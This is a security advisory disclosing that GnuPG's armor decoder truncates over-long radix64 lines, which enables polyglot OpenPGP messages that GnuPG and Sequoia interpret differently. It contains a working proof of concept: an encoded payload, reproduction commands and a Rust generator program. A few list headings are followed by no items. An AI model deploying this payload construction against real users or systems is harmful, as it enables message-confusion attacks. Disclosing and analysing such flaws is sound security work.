Radix64 Line-Truncation Enabling Polyglot Attacks

GnuPG drops data, causing the same OpenPGP message to be interpreted differently by GnuPG and parsers adhering to the specification.

Impact

An attacker can craft ASCII-armored OpenPGP data that contains an over-long radix64 line. It will be interpreted differently by GnuPG than by spec-conforming parsers. This enables format-confusion / polyglot attacks where a section of a long line is dropped by GnuPG but processed by other implementations, so the effective plaintext and packet sequence differ across implementations. Downstream effects include:

OpenPGP’s armor rules require decoders to ignore all whitespace in radix64 (and armor line lengths are a presentation constraint, not a semantic one). The observed behavior violates that expectation.

Details

OpenPGP’s ASCII armor (“radix-64”) is a base64 transport encoding format. The RFC describes formation of armor and its base64 decoding

When decoding base64, an OpenPGP implementation MUST ignore all whitespace.

Since implementations are required to discard whitespace, the meaning of the data should not be affected by line length or location of newline characters.

Additionally, the RFC imposes a maximum line length for the base64 encoded data in the armor body of 76 characters per line.

GnuPG’s armor decoder, radix64_read reads the radix64 stream line by line using a fixed MAX_LINELEN and a buffered iobuf_read_line. If a line exceeds this limit, the code truncates the line (sets afx->truncated++) and continues with the next line, effectively discarding the tail of the over-long line instead of continuing to collect any remaining base64 encoded data.

static int radix64_read(armor_filter_context_t* afx, IOBUF a, size_t* retn,
                        byte* buf, size_t size) {
	byte val;
	int c;
	u32 binc;
	int checkcrc = 0;
	int rc = 0;
	size_t n = 0;
	int idx, onlypad = 0;
	int skip_fast = 0;

	idx = afx->idx;
	val = afx->radbuf[0];
	for (n = 0; n < size;) {
		if (afx->buffer_pos < afx->buffer_len) c = afx->buffer[afx->buffer_pos++];
		else {
			/* read the next line */
			unsigned maxlen = MAX_LINELEN;
			afx->buffer_pos = 0;
			afx->buffer_len = iobuf_read_line(a, &afx->buffer,
			                                  &afx->buffer_size, &maxlen);
			if (!maxlen) afx->truncated++;
			if (!afx->buffer_len) break; /* eof */
			continue;
		}
    // ...
  }
}

As a result, an attacker can craft an armor body of the following structure:

[1. first 19998 characters][2. overlong tail of same line]
[3. next line]

This makes it possible to craft a blob that decrypts/parses as two different packet layouts depending on the implementation. A practical construction:

Then:

Detailed steps to reproduce

A minimal payload triggers the split behavior:

GnuPG drops the tail of the over-long line and complains about the armor, but still emits partial data (“meow…”) before bailing; Sequoia (sq) processes the entire base64 stream as specified in the RFC and outputs both fragments.

$ echo "H4sIAAAAAAACA+3cOwrCQAAE0H5P4QWCrY3FapZoYYgEFdsQUFALQWJyez+Ngr3Ve80Mc4jJsqdZKpblqCqq0SrVdSzSa8xCGMZhEmN+Pe0P8a3Zbbv2HgEAAAAAAAAAAAAAAAAAAAAAAAD4s/nleG6Kvlsuyn5++Oxh6CavzDepXX/3MI39rQvvf7lU5j+fcw9xRmuwj04AAA==" 
  | base64 -d 
  | gunzip > polyglot

$ sq decrypt polyglot
meow
hello sq
0 authenticated signatures.

$ gpg --decrypt polyglot 
meow��PGP��PGPgpg: invalid armor: line longer than 20000 characters

The payload was generated with:

//! ```cargo
//! [dependencies]
//! sequoia-openpgp = "2.0.0"
//! simple-base64 = "0.23.2"
//! ```

use sequoia_openpgp::serialize::stream::{Armorer, Message};
use sequoia_openpgp::serialize::{MarshalInto, Serialize};
use sequoia_openpgp::types::DataFormat::Binary;
use sequoia_openpgp::Packet;
use sequoia_openpgp::packet::header::CTBNew;
use sequoia_openpgp::packet::{Literal, Tag};

fn main() {
    let mut nop_sled = CTBNew::new(Tag::Marker).to_vec().unwrap();
    nop_sled.append(&mut [255, 0, 0, 0, 3].to_vec());
    nop_sled.append(&mut b"PGP".to_vec());
    assert_eq!(nop_sled.len() % 3, 0);

    let inner_size = 20000 // GPG line length
        / 4 * 3 // base64 conversion
        - 12; // length of header

    let mut text = b"meow".to_vec();
    text.pad_to(inner_size, 0);

    let mut after = b"\nhello sq\n".to_vec();
    after.pad_to(nop_sled.len(), 0);

    let mut after_sleds = vec![];
    while after_sleds.len() < after.len() {
        after_sleds.append(&mut nop_sled.clone());
    }

    let mut text_long = text.clone();
    text_long.append(&mut after.clone());

    let mut text_sleds = text.clone();
    text_sleds.append(&mut after_sleds.clone());

    let crcd = {
        let mut buf = vec![];
        let msg = Message::new(&mut buf);
        let mut msg = Armorer::new(msg).build().unwrap();

        let mut lit = Literal::new(Binary);
        lit.set_body(text_sleds);
        Packet::from(lit).serialize(&mut msg).unwrap();

        msg.finalize().unwrap();
        buf
    };
    let crcd = String::from_utf8(crcd).unwrap();
    let mut lines = crcd.lines();
    let start = lines.next().unwrap();
    let mut lines = lines.rev();
    let end = lines.next().unwrap();
    let crc = lines.next().unwrap();

    let mut text_long_lit = Literal::new(Binary);
    text_long_lit.set_body(text_long);
    let mut text_long_pkt = vec![];
    Packet::from(text_long_lit).serialize(&mut text_long_pkt).unwrap();

    let mut text_long_b64 = simple_base64::encode(text_long_pkt);
    text_long_b64.insert(2, '\n'); // fix the off-by-two in GPG (it cuts off at 19998)

    let after_sleds_b64 = simple_base64::encode(after_sleds);

    let result = format!("{start}\n\n{text_long_b64}\n{after_sleds_b64}\n{crc}\n{end}");

    std::fs::write("./polyglot", result).unwrap();

    println!("./polyglot written. try:\n\tgpg --decrypt ./polyglot\n\tsq decrypt ./polyglot");
}

trait PadTo<I> {
    fn pad_to(&mut self, to: usize, with: I);
}

impl<T: Clone> PadTo<T> for Vec<T> {
    fn pad_to(&mut self, to: usize, with: T) {
        let mut padding = vec![with; (to - self.len() % to) % to];
        self.append(&mut padding);
    }
}

Recommendation

To avoid vulnerabilities arising from divergent interpretations of the same RFC, all implementations should strictly adhere to the specification. In particular, GnuPG should not truncate overlong lines. When imposing reasonable restrictions (such as a maximum line length), an implementation must not ignore or truncate excessive input; instead, it should fail explicitly with an error.